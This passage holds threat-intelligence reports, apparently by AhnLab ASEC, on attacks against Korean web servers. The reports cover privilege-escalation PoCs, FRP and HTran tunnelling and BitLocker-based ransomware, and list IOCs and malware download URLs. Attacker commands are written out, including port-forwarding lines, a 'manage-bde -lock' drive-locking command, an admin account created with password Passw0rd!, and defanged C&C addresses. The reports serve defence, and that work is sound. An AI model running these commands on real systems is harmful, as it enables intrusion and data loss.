018dd881f5bf9181b70f78d7d38bd62a https://github.com/sailay1996/cve-2022-21882-poc CVE-2022-21999 LPE 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) https://github.com/ly4k/SpoolFool [표 2] 공격에 사용된 취약점 PoC 악성코드들 다음은 CVE-2021-1732 취약점을 이용해 권한 상승하는 PoC이다. 권한 상승 이후 인자로 전달받은 whoami를 실행하며 그 결과 시스템 계정으로 권한 상승에 성공한 것을 알 수 있다. 다음은 CVE-2022-21999 PoC로서 권한 상승 이후 지정한 DLL을 로드하여 악성코드를 실행시킬 수 있다. 공격에 사용된 DLL은 PoC와 동일한데, DLL은 admin 계정을 생성하고 비밀번호를 Passw0rd! 로 설정하는 기능을 한다. 공격자는 추후 이렇게 등록된 계정으로 원격 접속하여 감염 시스템을 장악할 수 있다. 3. 프록시 & 포트 포워딩 3.1. FRP FRP(Fast Reverse Proxy)의 기본적인 용도는 직접 통신할 수 없는 인트라넷 PC에 외부에서 접근 가능하도록 중계기 및 서버를 구성하는 오픈소스 도구다. 기업은 네트워크 구성 시 일부 서버를 제외하고 망을 분리하거나 방화벽을 사용해 외부에서 직접 접근하기 어렵도록 설계하기 때문에, 사용자는 내부망 PC와 직접 RDP 통신 원할 시 FRP와 같은 프로그램을 사용해야 한다. 그러나 공격자들은 이러한 목적보다 기업의 공격 대상 PC(Victim)에 자신의 주소를 남기지 않기 위해 해당 도구를 빈번히 사용하고 있다. Frp는 크게 Frps와 Frpc 2가지로 나뉜다. Frps는 중간 서버에 설치되는 파일로 공격자와 공격 대상의 연결을 맺어주는 역할을 수행하며, 설정에는 ‘Frps.ini’를 참조하며 사용자 임의대로 설정할 수 있다. 이는 연결 포트 및 로깅 방법 등을 결정한다. 따라서 Frps는 공격자와 공격 대상 PC, 모두가 접근 가능한 중계 서버에 설치되어야 한다. Frpc는 공격자가 공격하려는 대상 PC에 설치되는 파일로, 설정에는 Frps 설정 방법과 마찬가지로 ‘Frpc.ini’를 통해 TCP나 UDP, HTTP 등 공격자가 사용할 네트워크 통신 방법과 Frps에 사용될 포트 번호(remote_port)와 실제 포트 번호(local_port) 등을 사용자 임의대로 설정할 수 있다. 악용되는 경우 보통 외부에서 직접 연결이 어려운 NAT 환경의 기업 PC에 설치된다. FRP 연결 과정은 다음과 같다. 위 그림으로 살펴보면, 우선 Frps.exe를 중계기에 설치한다. Frps.exe는 Frps.ini 설정 파일을 참조해 Frpc.exe가 접근할 수 있도록 연결 포트(7000번)를 오픈하고 연결을 기다린다. 이후 공격 대상 PC에 설치되어 있는 Frpc.exe를 실행시켜 중계기(Frps.exe)와 연결을 시도하는데, 이는 공격자와 공격 대상 PC를 간접적으로 연결하기 위해 Reverse Proxy 방식을 사용한다. 중계기와 공격 대상 PC가 연결이 완료되면 공격자는 특정 프로토콜(RDP)로 중계기의 특정 포트(23389번)에 연결을 시도한다. 중계기는 특정 포트(23389번)를 모니터링하다 연결이 확인되면 해당 데이터를 연결 포트(7000번)를 통해 공격 대상 PC에 전달한다. 이후 데이터를 받은 공격 대상 PC에선 해당 프로토콜(RDP)에 맞는 로컬 포트(3389번)에 포워드하여 작업을 완료한다. 따라서 다음과 같이 연결이 가능하다. 공격자들의 FRP 주 사용 목적은 1) ‘원격 데스크톱 연결’과 2) ‘공격자 IP 은닉’ 두 가지로 추정된다. 원격 데스크톱 연결이란 윈도우에서도 기본적으로 지원하는 도구로, RDP 통신을 이용해 원격지 서버에 직접 사용하는 것처럼 연결하는 방법을 말한다. 따라서 이러한 통신이 이뤄지게 되면 해당 PC와 네트워크 장비에는 공격자들의 IP가 로그에 남게 된다. 하지만 FRP를 사용하게 되면 공격자는 중계기에 연결하여 공격 대상 PC를 조작하기 때문에 침해사고 조사 시에도 공격 대상 PC에서는 공격자의 IP를 찾을 수 없다. 공격자는 보통 중계기 위치를 국내 기업 서버 또는 해외 호스팅 서버 등으로 설정한다. 특히 국내 기업 서버의 경우 이미 침해사고가 발생한 서버를 악용한 것으로, 공격자가 특 기업의 PC에 접근 시 중계기는 국내 IP이기 때문에 발각될 염려가 줄어든다. 따라서 공격자들은 직접 접근이 가능한 기업 PC라도 해당 환경에 Frpc를 설치한 뒤, 국내 또는 해외에 위치한 중계기 서버(Frps)를 통해 RDP 통신을 수행한다. FRP를 사용한 특정 공격 그룹은 다음과 같은 특징을 가지고 있다. 1) 동일한 Frpc 파일 이름 사용 및 파일 경로 2) 국내 기업의 Frpc 다운로드 URL 주소 3) 국내 기업의 서버를 중계기(Frps) 서버로 사용 우선 국내 침해 기업에서 확인된 Frpc 설치 경로이다. %ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe [표 3] 공격자가 자주 사용한 Frpc.exe의 다운로드 경로 위 [표 3]의 붉은색의 경우 많은 기업에서 공통으로 확인된 파일명으로, 특정 그룹의 공격자들은 주로 Frpc 파일을 update.exe(update.zip) 혹은 info.exe(info.zip) 이름으로 설치하였다. 또한 공격자들이 사용한 Frpc 다운로드 URL의 경우 국내 침해 기업의 서버를 악용하는 것으로 확인되었다. – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip [표 4] 공격자가 사용한 Frpc 다운로드 URL 이외에도 공격자들은 외부에서 연결 가능한 PC임에도 FRP를 통해 연결하도록 설정하였는데, FRP에서 사용되는 중계기 서버(Frps) 프로그램을 특정 국내 기업에 설치한 것으로 보아 국내 IP로 의심을 피함으로써 연결을 유지하고 또 자신들의 IP를 은닉하기 위해 사용하는 것으로 추정된다. 따라서 Frps가 설치된 국내 기업의 서버 또한 공격자에 의해 장악된 것으로 보인다. 2022년 국내 기업 서버 중 중계기로 사용된 기업은 현재까지 두 곳으로 확인된다. 아래의 그림과 같이 Remote IP 서버가 중계기 서버로 Frps가 설치되었으며, 좌측 Local IP가 Frpc가 설치된 서버로 공격자가 조작하려는 PC이다. 해당 중계기 서버는 아래와 같이 연결 가능하다. 3.2. HTran(LCX) 포트 포워딩이랑 특정 포트에서 전달받은 데이터를 다른 포트로 전달하는 기능이다. 이러한 포트 포워딩을 지원하는 툴로는 대표적으로 과거부터 사용되고 있는 HTran이 있는데 소스 코드가 공개되어 있음에 따라 다양한 공격자들에 의해 최근까지도 사용되고 있다. 여기에서는 해당 툴에 대한 간략한 정보와 함께 공격자가 이를 이용한 실제 공격 사례들을 다룬다. 먼저 HTran은 다음과 같이 3개의 모드가 지원된다. 이 중에서 “-tran” 모드는 특정 포트에서 전달받은 데이터를 특정 주소로 전달하는 기능을 제공한다. 다음 커맨드 라인은 실제 공격자가 HTran을 rdpclip라는 이름으로 생성한 후 실행한 명령이다. 참고로 rdpclip는 공격자가 소스 코드를 변조하여 인자 중 옵션을 제거하였으며, 대신 인자의 개수를 이용해 어떤 기능인지 파악하여 동작한다. > %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389 이러한 인자를 받아 실행될 경우 110번 포트로 바인딩하고 있다가 외부의 공격자가 110번 포트로 연결할 경우 로컬의 3389번 포트로 포워딩해준다. 이에 따라 공격자는 감염 시스템에 RDP를 연결할 때 3389번 포트 대신 110번 포트로 연결해도 정상적으로 원격 데스크탑을 사용할 수 있다. 다음은 공격에 사용된 rdpclip을 이용한 테스트로서, 로컬 시스템의 4444번 포트와 로컬 시스템의 80번 포트를 포워딩해주는 명령을 실행하였다. 이 경우 외부에서 “192.168.204.131:4444” 주소로 연결하더라도 “192.168.204.131:80” 포트로 연결한 것과 동일한 결과를 얻을 수 있다. 다음으로 “-listen” 모드가 있는데 인자로 2개의 포트 번호를 전달받아 각각의 포트에 바인딩하면서 대기한다. 만약 2개의 인자로 모두 연결이 확립될 경우 둘 중 하나의 포트에서 전달받은 데이터를 다른 포트로 포워딩한다. 일반적으로 “-listen” 모드는 “-slave” 모드와 함께 사용될 것이다. “-slave” 모드는 “-tran” 모드와 유사한데 “-tran” 모드가 로컬 시스템의 특정 포트를 열고 대기하고 있었다면 “-slave”는 지정한 주소에 직접 연결한다. 다음은 위와 동일한 악성코드이며 이름만 “p”로 변경되어 인자로 모드 종류를 전달받지 않지만 개수가 4개임에 따라 “-slave” 모드로 실행된다. 이러한 인자를 받아 실행될 경우 A( 1**.**.***.*8 ):1000 주소로 연결 시도하며, 연결이 확립되면 로컬 시스템의 3389번 포트로 포워딩한다. > p 1**.**.***.*8 1000 127.0.0.1 3389 시스템 A:1000 에서는 다음과 같이 HTran이 “-listen” 모드로 실행 중일 것이다. (예시를 위해 첫 번째 인자를 80으로 사용) 이에 따라 공격자는 A:80 주소로 접근하여 공격 대상 시스템에 RDP 접속이 가능해진다. A 에서 실행 중이던 HTran이 80번 포트에서 전달받은 데이터를 1000번 포트로 전달하며, 1000번 포트는 공격 대상 시스템에서 실행 중인 HTran과 연결되어 있기 때문이다. 최종적으로 공격 대상 시스템의 HTran은 전달받은 데이터를 로컬 시스템의 3389번 포트로 포워딩한다. > HTran.exe 1000 80 다음은 또 다른 예시이다. c.txt가 HTran이며 별다른 수정 사항이 없는 형태로서 “-slave”와 같은 인자도 그대로 사용된다. 다음 명령을 통해 실행된 HTran은 B( 1**.***.**.*3 ):443 주소와 C (2**.***.**.6 ):1433 주소 사이에서 프록시로서 동작한다. 즉 공격자는 B 의 특정 주소에 접근함으로써 C:1433 즉 C 시스템의 MS-SQL 서버에 접근할 수 있게 된다. > %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433 4. 랜섬웨어 감염 사례(BitLocker) 현재까지 확인된 사례 중 해당 그룹에 의한 랜섬웨어 감염 사례는 아직 그리 많지 않다. 공격 그룹은 랜섬웨어를 새로 만들지 않고 윈도우 정상 암호화 프로그램인 BitLocker를 악용하여 디스크 암호화를 수행하였다. BitLocker는 윈도우에서 자체적으로 제공하는 디스크 암호화 도구로 원래는 디스크 보안을 위해 사용되는 도구다. 이는 커맨드 라인 방식을 지원하는데, 기본적으로 Manage-bde라는 명령어를 사용해 BitLocker 기능을 사용할 수 있으며 드라이브를 잠그게 되면 접근 시 암호가 필요하다. 공격자는 아래와 같은 명령어를 통해 암호화를 수행하였다. 암호는 아래의 명령을 입력 시 GUI 창을 통해 설정할 수 있다. (F: 드라이브는 예시) CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T F: 드라이브 볼륨 암호화 및 사용할 암호 입력 드라이브 암호화 설정 후 아래의 명령어와 같이 lock을 통해 드라이브에 대한 접근을 불가능하도록 수행한다. CMD> manage-bde -lock -ForceDismount F: F: 드라이브 볼륨 잠금 설정(액세스 불가) 따라서 잠금이 완료되면 사용자는 암호를 알아야만 접근할 수 있다. 공격자가 사용한 랜섬 노트는 아래와 같다. 이번 사례의 공격 과정을 요약하자면 공격자들은 IIS 웹서버나 MS Exchange 서버와 같이 외부에서 접근 가능한 취약한 기업 PC를 대상으로 스캔하고 공격을 시도한다. 이후 웹쉘 등을 이용해 시스템 일부를 접근하며, 권한 상승(Privilege Escalation)을 지원하는 Potato 도구나 Exploit 도구를 악용해 시스템 권한을 획득한다. 다음에는 해당 시스템을 더욱 쉽게 조작하기 위해 LCX나 FRP 도구를 설치해 외부에서 RDP로 접속 가능하도록 설정하고 내부 전파 및 최종 단계(정보 유출 및 랜섬웨어)를 수행하였다. 이에 따라 서버 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존에 알려진 취약점으로부터 사전에 방지해야 한다. 또한 외부에 공개된 서버의 경우 보안 제품을 통해 외부인으로부터 접근을 통제할 필요가 있다. [파일 진단] – WebShell/Script.Generic (2020.12.11.09) – WebShell/ASP.ASpy.S1361 (2021.02.02.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) – WebShell/ASP.Small.S1378 (2021.02.24.02) – JS/Webshell (2011.08.08.03) – HackTool/Win.SweetPotato.R506105 (2022.08.04.01) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) – HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) – Exploit/Win.JuicyPotato.C425839(2022.08.04.01) – Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) – Exploit/Win32.Consoler.R372759 (2021.03.18.00) – Exploit/Win.HiveNightmare.R433315 (2021.07.23.02) – Malware/Win64.Generic.C3164061 (2019.04.20.01) – Malware/Win64.Generic.C3628819 (2019.12.11.01) – Exploit/Win.Agent.C4448815 (2021.05.03.03) – Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03) – Trojan/Win.Generic.C4963786 (2022.02.11.04) – Trojan/Win.Exploit.C4997833 (2022.03.08.01) – Ransomware/Win.CVE.C5065885(2022.04.11.01) – Exploit/Win.Agent.C5224192 (2022.08.17.00) – Exploit/Win.Agent.C5224193 (2022.08.17.00) – Unwanted/Win.Frpc.C5222534 (2022.08.13.01) – Unwanted/Win.Frpc.C5218508 (2022.08.03.03) – Unwanted/Win.Frpc.C5218510 (2022.08.03.03) – Unwanted/Win.Frpc.C5218513 (2022.08.03.03) – HackTool/Win.Frpc.5222544 (2022.08.13.01) – HackTool/Win.Frp.C4959080 (2022.02.08.02) – HackTool/Win.Frp.C5224195 (2022.08.17.00) – Unwanted/Win.Frpc.C5162558 (2022.07.26.03) – Malware/Win.Generic.C5173495 (2022.06.18.00) – HackTool/Win.LCX.C5192157 (2022.07.04.02) MD5 018dd881f5bf9181b70f78d7d38bd62a 0311ee1452a19b97e626d24751375652 055cc4c30260884c910b383bb81cf7c8 07191f554ed5d9025bc85ee1bf51f975 1b562817eadfb12f527bf25bf5c803b1 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 영어·일본어 등 다른 언어 글 4건
ASEC 韓国の Web サーバーを対象とするコインマイナーの攻撃事例の解析 2024-06-20
Web サーバーは不特定多数のユーザーに Web サービスを提供する目的で外部に公開されているため、過去から攻撃者の代表的な攻撃対象となっている。AhnLab SEcurity intelligence Center(ASEC)は、脆弱性に対するパッチが適用されていない、または不適切に管理されている脆弱な Web サーバーを対象とした攻撃をモニタリングしており、確認された攻撃事例をブログで公開している。 ASEC は最近、韓国国内の医療機関を攻撃してコインマイナーをインストールする攻撃事例を確認した。攻撃対象となった Web サーバーは Windows IIS サーバーであり、Web シェルがアップロードされたパス名から PACS(Picture Archiving and Communication System)製品がインストールされたシステムであるものと推定される。 図1. 攻撃プロセスで確認された Web シェルのアップロードパス PACS(Picture Archiving and Communication System)は、患者の医療用画像をデジタル化して管理、送信するシステムであり、病院では医療用画像をどこからでも照会、判断できるようにするために使用している。そのため、多くの病院では PACS を使用中であるが、この PACS システムはいくつかの専門業者がいるため、医療機関によって使用している PACS 製品が異なる場合がある。 攻撃の対象となった Web サーバーからは Web シェルのアップロードを試みた形跡が多数確認され、具体的な状況は確認されていないが、PACS 製品に脆弱性が存在した、または管理者が適切にセキュリティ設定を構築していなかったものと推定される。当該サーバーは数日間隔で2人の攻撃者が攻撃を実行したものと思われるが、これは Web シェルアップロード攻撃が2回にわたり発生しており、2つの攻撃からは直接的な関連性を確認できなかったためである。 どちらの攻撃も中国語を使用する攻撃者により行われたものと推定されるが、これは Cpolar、RingQ のように、使用するツールの中に中国語で開発されたツールが多数確認され、中国語によるコメントアウトが確認されたためである。参考に、韓国の脆弱な Web サーバーを対象とする攻撃の多くは、中国語を使用する攻撃者によるものと推定される。 [1] [2] [3] 1. 1 番目の攻撃事例 最初に確認された攻撃において、攻撃者は Chopper、Behinder のような Web シェルを使用した。Web シェルのアップロードに成功した攻撃者は、以下のようなコマンドを使用してシステムの情報を収集した。 > whoami > ipconfig > tasklist > systeminfo > netstat -ano > query user > ping 8.8.8.8 その後、インストールした Web シェルを通じて権限昇格ツールの BadPotato や、プロキシツールである Cpolar をインストールした。Cpolar は中国の開発者が製作したトンネリングツールであり、Ngrok と類似している。これらのツールは一般的に外部から NAT 環境内部に存在するシステムに接続できるようにシステムを露出させるため、攻撃者が外部から RDP によるリモート接続のためにインストールする傾向がある。 図2. 攻撃に使用されたツール、Cpolar その後、攻撃者はコインマイナーマルウェアをインストールするために、まず「1.cab」ファイルをダウンロードした。「1.cab」ファイルの内部には Batch スクリプトマルウェアである「1.bat」とともに、タスクスケジューラー登録に使用される xml、コインマイナーのダウンローダーマルウェアが含まれている。また、ダウンローダーマルウェアも外部から zip 形式の圧縮ファイルをダウンロードしてインストールする。 図3. ダウンロードされるマルウェア 参考に、コインマイナーのインストールに使用される「1.bat」ファイルでも中国語で作成されたコメントアウトを確認できる。すなわち、Ngrok ツールに代わり中国語ユーザーにとって馴染みのある Cpolar が使用されたという点、そして攻撃スクリプトに含まれたコメントアウト部分に中国語が含まれている点を通じて、攻撃者が中国語圏のユーザーであることを推定できる。 図4. 中国語のコメントアウトが含まれたマイナーのインストールスクリプト 攻撃者は上記で述べたマルウェアのみを使用して XMRig をインストールしたが、実際のダウンロードアドレスにははるかに多くのマルウェアが存在する。Web シェルの中には Caidao、ASPXspy が存在し、権限昇格に関するツールには BadPotato のほかにも GodPotato、PrintNotifyPotato、IIS LPE (by k8gege)がある。 このほかにも、ポートフォワーディングのためのツールも Cpolar 以外に Frpc、Lcx がアップロードされており、以後リモートで接続するための目的でユーザーアカウントを追加するマルウェアも存在する。「useradd.exe」マルウェアは、追加するユーザーアカウントを引数で渡されると、ランダムなパスワードでアカウントを追加し、結果を出力して表示するツールである。 図5. Frpc 設定ファイル、およびユーザーアカウント追加マルウェア Mining Pool sinmaxinter[.]top:7005 表1. 1番目の攻撃事例で使用されたマイニングプールのアドレス 2. 2 番目の攻撃事例 2番目の攻撃は、1番目の攻撃が行われた数日後に発生した。初期侵入プロセスでは以前の事例と同様に Web シェルをインストールしており、攻撃者は Godzilla、Chopper、Behinder などの Web シェルを使用した。Web シェルのアップロードに成功した攻撃者は、以下のようなコマンドを使用してシステムの情報を収集した。 > whoami > systeminfo > netstat -ant 2番目の攻撃では Certutil を利用してさらなるマルウェアをダウンロードしたことが特徴である。攻撃者は権限昇格の目的で GodPotato、PrintNotifyPotato、CVE-2021-1732 の脆弱性によるマルウェアをインストールした。そして、感染システムが属するネットワークを探索するために Fscan ツールと遠隔シェルをインストールし、感染システムを操作するための Netcat をインストールした。さらに、以前の事例で使用した Cpolar、Frpc、Lcx ではなく、今回はプロキシツールとして EarthWorm を使用したことが特徴である。 図6. さらなるマルウェアをインストールするための Certutil のコマンド 攻撃者は、このほかにも Ladon をインストールした。Ladon は攻撃の過程で必要な様々な機能をサポートするが、代表的なものにスキャニング、権限昇格、アカウント情報窃取、リバースシェルのように様々な機能がある。Ladon は中国語のできる開発者が製作したものであり、そのためか中国語を使用する攻撃者がよく使う傾向がある。 RingQ というツールが攻撃で同時に使用されたという点も、攻撃者が中国語圏のユーザーであることを推定するに足る根拠の一つである。RingQ は一種のインジェクターツールと言えるが、一般的なマルウェアやツールが AntiVirus 製品により容易に検知されることを防ぐために暗号化したあと、メモリ上で実行させるためのツールである。攻撃者は「Create.exe」を通じてマルウェアを「main.txt」という名前で暗号化して配布する方式により AntiVirus 製品のファイル検知を回避することができ、以後 RingQ を実行すると暗号化されたマルウェア、すなわち「main.txt」をメモリ上で実行させる。 この攻撃者の最終的な目的は、1番目の事例と同様にコインマイナーをインストールすることである。攻撃者がアップロードした複数の Aspx ファイルのほとんどは Web シェルだが、ほかにもダウンローダー機能を担う Aspx マルウェアも存在する。このマルウェアは、外部から「aspx.exe」という名前の追加ペイロードをダウンロードして実行する。「aspx.exe」はダウンローダーであり、XMRig コインマイナーをダウンロードしてメモリ上で実行するマルウェアである。 図8. コインマイナーのダウンローダーマルウェア Mining Pool c3.wptask[.]cyou:33333 sky.wptask[.]cyou:9999 auto.c3pool[.]org:33333 auto.skypool[.]xyz:9999 141.11.89[.]42:8443 141.11.89[.]42:995 141.11.89[.]42:465 45.147.51[.]78:465 45.147.51[.]78:995 45.130.22[.]219:995 45.130.22[.]219:465 info.perflogs[.]top:995 pop3.wptask[.]cyou:995 smtp.wptask[.]cyou:465 表2. 2番目の攻撃事例で使用されたマイニングプールのアドレス 3. 結論 Web サーバーを対象とする攻撃は継続的に発生しており、最近では韓国の医療機関を対象とした攻撃事例が確認された。攻撃は数日間隔で2回発生しており、複数の状況を照らし合わせると2つの攻撃事例はどちらも攻撃者が中国語圏のユーザーと見られ、最終目的はコインマイナーを利用して仮想通貨の採掘を行うことであった。当然ながらインストールした Web シェルおよび NetCat を通じて遠隔操作が可能であり、このほかにも RDP 接続を目的としてプロキシツールをインストールしたことから、攻撃者による情報流出も起こり得る。 管理者は、Web サーバーに存在するファイルアップロードの脆弱性を点検し、初期侵入経路となる Web シェルのアップロードを事前に防止できるように努める必要がある。また、パスワードを定期的に変更してアクセス制御を設定し、窃取されたアカウント情報を利用したラテラルムーブメント攻撃に対処しなければならない。また、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。 ファイル検知 – WebShell/ASP.Agent.SC200079 (2024.06.17.02) – WebShell/ASP.Agent.SC199712 (2024.05.24.00) – WebShell/ASP.Agent.SC199713 (2024.05.24.00) – WebShell/ASP.Agent.SC199714 (2024.05.24.00) – WebShell/ASP.Agent (2024.05.24.00) – Downloader/ASP.Malurl.SC199711 (2024.05.24.00) – WebShell/JSP.Behinder.SC188179 (2023.05.12.01) – WebShell/ASP.Generic.S2184 (2023.03.22.03) – WebShell/ASP.ASpy.S1362 (2021.02.02.07) – WebShell/ASP.Generic.S1855 (2022.06.16.00) – WebShell/ASP.Small.S1378 (2021.02.24.02) – WebShell/ASP.Small.S1400 (2021.03.16.02) – WebShell/ASP.Generic.S1422 (2021.03.30.03) – WebShell/ASP.Generic.S1775 (2022.04.14.00) – HackTool/Win.BadPotato.C4177837 (2023.09.01.00) – Downloader/Win.Miner.C5626012 (2024.05.27.00) – Trojan/Win.Potato.C5626014 (2024.05.27.00) – HackTool/Win.Frpc.C5626022 (2024.05.27.00) – HackTool/Win.Cpolar.C5641794 (2024.06.17.03) – Trojan/Win.Miner3.R647471 (2024.05.08.02) – Unwanted/Win.NSSM.C5625980 (2024.05.27.00) – Downloader/Win.Miner.C5625979 (2024.05.27.00) – HackTool/Win.RingQ.C5625987 (2024.05.27.00) – Dropper/Win.Generic.C5624814 (2024.05.24.00) – Trojan/Win.Generic.C5501120 (2023.10.06.03) – Trojan/Win.AddUser.R649913 (2024.05.27.00) – Trojan/Win.Generic.C5584377 (2024.02.05.02) – Trojan/Win.MSILMamut.C5410538 (2023.04.13.01) – HackTool/Win.Cpolar.C5641787 (2024.06.17.03) – Exploit/Win.PrintNotifyPotato.R561362 (2023.08.14.00) – HackTool/Win.Frpc.C5641788 (2024.06.17.03) – HackTool/Win.Htran.C5626020 (2024.05.27.00) – Exploit/Win.Consoler.R548809 (2023.01.05.03) – HackTool/Win.LCX.C5626011 (2024.05.27.00) – HackTool/Win32.Earthworm.C2185399 (2017.10.10.07) – HackTool/Win.Netcat.C5355532 (2023.01.11.02) – HackTool/Win.Netcat.C5283500 (2022.10.18.03) – Trojan/XML.Runner (2024.06.18.00) – CoinMiner/BAT.Agent (2024.06.18.00) – Trojan/BAT.AddUser (2024.06.18.00) – Trojan/BAT.AddUser (2024.06.18.00) – HackTool/Script.Frpc (2024.06.18.00) 振る舞い検知 – Malware/MDP.Download.M1900 – Execution/MDP.NetCat.M4516 IoC MD5 1番目の攻撃事例 – 67af0bc97b3ea18025a88a0b0201c18d : WebShell – woanware (1.aspx) – f6591c1ab7f7b782c386af1b6c2c0e9b : WebShell – woanware (2.aspx) – 986c8c6ee6f6a9d12a54cf84ad9b853a : WebShell – Chopper (2a.aspx) – 2183043b19f4707f987d874ce44389e3 : WebShell – Behinder (32.aspx) – 77d507d30a155cf315f839db3bf507f7 : WebShell – Behinder (1234a.aspx) – 8d52407e143823a867c6c8330cdcb91a : WebShell – Behinder (1235a.aspx) – 73cdd1be414dec81c6e42b83f0d04f20 : WebShell – Behinder (12345a.aspx) – 7e9f28cedfa8b012ab8646ac341a841c : BadPotato (bad1231.exe) – 8cf601c06370612010f438fa8faa8aa7 : Cpolar (cpolar.exe) – e2753e9bc7e5880a365f035cdc5f6e77 : Runner (1.bat) – 205e6247f5a0dce8a55910354c816a61 : ScheduleTask (1.xml) – e13adb67739f4b485544ed99bc29f618 : NSSM (service.exe) – f3bdcd409063a42479dbb162dc7f5d21 : コインマイナーダウンローダー (svchost.exe) – fce1b5ffcaefd1dcb130f4e11cdb488d : コインマイナーダウンローダー (sihost.exe) – a66338d9ba331efa4918e2d6397b17fe : コインマイナー (SecurityHealthServices.exe) – 40dc8989d4b2e3db0a9e98ef7082b0d9 : WebShell – ASPXspy (aspx.txt) – b69eb0155df920514d4ae8d44316d05a : WebShell – ASPXspy (good.txt) – 285b5f246f994b4650475db5143e4987 : WebShell – Caidao (index.txt) – 7e1a2828650e707d8142d526604f4061 : BadPotato (bad.exe) – 83b66aae624690e82c8e011e615bce59 : BadPotato (bad520.exe) – 5f3dd0514c98bab7172a4ccb2f7a152d : GodPotato (god3.exe) – 1fdb1dd742674d3939f636c3fc4b761f : GodPotato (god4.exe) – 493aaca456d7d453520caed5d62fdc00 : PrintNotifyPotato (P2.exe) – 493aaca456d7d453520caed5d62fdc00 : PrintNotifyPotato (P3.exe) – 7727070eb8c69773cafb09ce77492c27 : PrintNotifyPotato (P4.exe) – f7d53946b3ae7322cd018480a2f47de8 : IIS LPE (iislpe.exe) – 10cf4d43163ee395ddad1fe7e777e2c9 : IIS LPE (iislpe1.exe) – f222524766456936074f513cec2149a8 : Cpolar (cpo.exe) – d6f84855f212400314fb72d673aba27b : Frpc (F.exe) – 62ba55ac729763037da1836b46cb84bc : Frpc (frpc.exe) – 3c5905da1f3aecd2dccc05f6b76a1ca9 : Frpc Config (frpc.txt) – ce1f3b789b2aab2b2b833343f13b7c98 : Lcx (99.exe) – 371a2eb2800bb2beccc1a975f3073594 : Lcx (Lcx.exe) – 7abca4faa3609f86f89f1a32fe7bbcc6 : UserAdder (UserAdd.exe) – e8a7e8bb090da018b96aab3a66c7adeb : UserAdder Command (net.txt) – 5d9464aba77e1830e1cf8d6b6e14aa55 : UserAdder Command (useradd.bat) 2番目の攻撃事例 – 71a6ba713f3f5c8e24c965487a86b5d4 : WebShell – Chopper (zbngjv.aspx) – 93abe2fcb964ec91de7d75c52d676d2d : WebShell – Chopper (bin.aspx) – 2c3de1cefe5cd2a5315a9c9970277bd7 : WebShell – Godzilla (aaa.ashx) – 69c7d9025fa3841c4cd69db1353179cf : WebShell – Godzilla (aaa.asmx) – 7871587d8de06edc81c163564ea4ea41 : WebShell – awen (cmd.aspx) – 10b6e46e1d4052b2ad07834604339b57 : WebShell – Behinder (hi1.aspx) – 5eeda9bfb83aacb9c3f805f5a2d41f3b : WebShell – Deleter (sklqbpbl.aspx) – 5f3dd0514c98bab7172a4ccb2f7a152d : GodPotato (gp1.exe) – 493aaca456d7d453520caed5d62fdc00 : PrintNotifyPotato (pp.exe) – 87562e70e958c0a0e13646f558a85d04 : 権限昇格ツール – CVE-2021-1732 (aa.aspx) – 8f7dfbec116017d632ca77be578795fd : Fscan (fscan.exe) – 5dcf26e3fbce71902b0cd7c72c60545b : NetCat (nc.exe) – 523613a7b9dfa398cbd5ebd2dd0f4f38 : NetCat (nc64.exe) – d76e1525c8998795867a17ed33573552 : EarthWorm (ew.exe) – 5d93629fbc80fed017e1657392a28df4 : Ladon (11.exe) – e9cb6a37c43e0393d4c656bc9f6bf556 : RingQ (ringq.exe) – 705e5d7328ae381c5063590b4f5198da : コインマイナーダウンローダー (gzrqo.aspx) – b81577dbe375dbc1d1349d8704737adf : コインマイナー (aspx.exe) C&C サーバーアドレス – 14.19.214[.]36:6666 : NetCat – 14.19.214[.]36:3333 : NetCat – 1.119.3[.]28:7455 : Frpc Download アドレス – hxxp://sinmaxinter[.]top:7001/services.zip : コインマイナー – hxxp://sinmaxinter[.]top:7001/C3-server25.zip : コインマイナー – hxxp://14.19.214[.]36:6666/pp.exe : PrintNotifyPotato – hxxp://14.19.214[.]36/aa.aspx : 権限昇格ツール – CVE-2021-1732 – hxxp://14.19.214[.]36/fscan.exe : Fscan – hxxp://14.19.214[.]36/ew.exe : EarthWorm – hxxp://14.19.214[.]36/11.exe : Ladon – hxxp://14.19.214[.]36/RingQ.exe : RingQ – hxxp://45.130.22[.]219/aspx.exe : コインマイナー – hxxp://192.210.206[.]76/sRDI.dat : コインマイナー 関連 IOC および詳細な解析情報は、 AhnLab の次世代脅威インテリジェンスプラットフォーム「 AhnLab TIP 」サブスクリプションサービスを通して確認できる。
ASEC Analysis of CoinMiner Attacks Targeting Korean Web Servers 2024-06-18
Since web servers are externally exposed to provide web services to all available users, they have been major targets for threat actors since the past. AhnLab SEcurity Intelligence Center (ASEC) is monitoring attacks against vulnerable web servers that have unpatched vulnerabilities or are being poorly managed, and is sharing the attack cases that have been confirmed through its ASEC Blog. ASEC recently identified attack cases where a Korean medical institution was targeted, resulting in the installation of CoinMiners. The targeted web server was a Windows IIS server, and based on the path name where the web shells were uploaded, it is presumed to be a system with Picture Archiving and Communication System (PACS) installed. PACS is a system for digitally managing and transferring medical images of patients, which is used to check and interpret the images without being restrained by time and space. This system is thus used by many hospitals. As there are multiple PACS vendors, each medical institution may use a 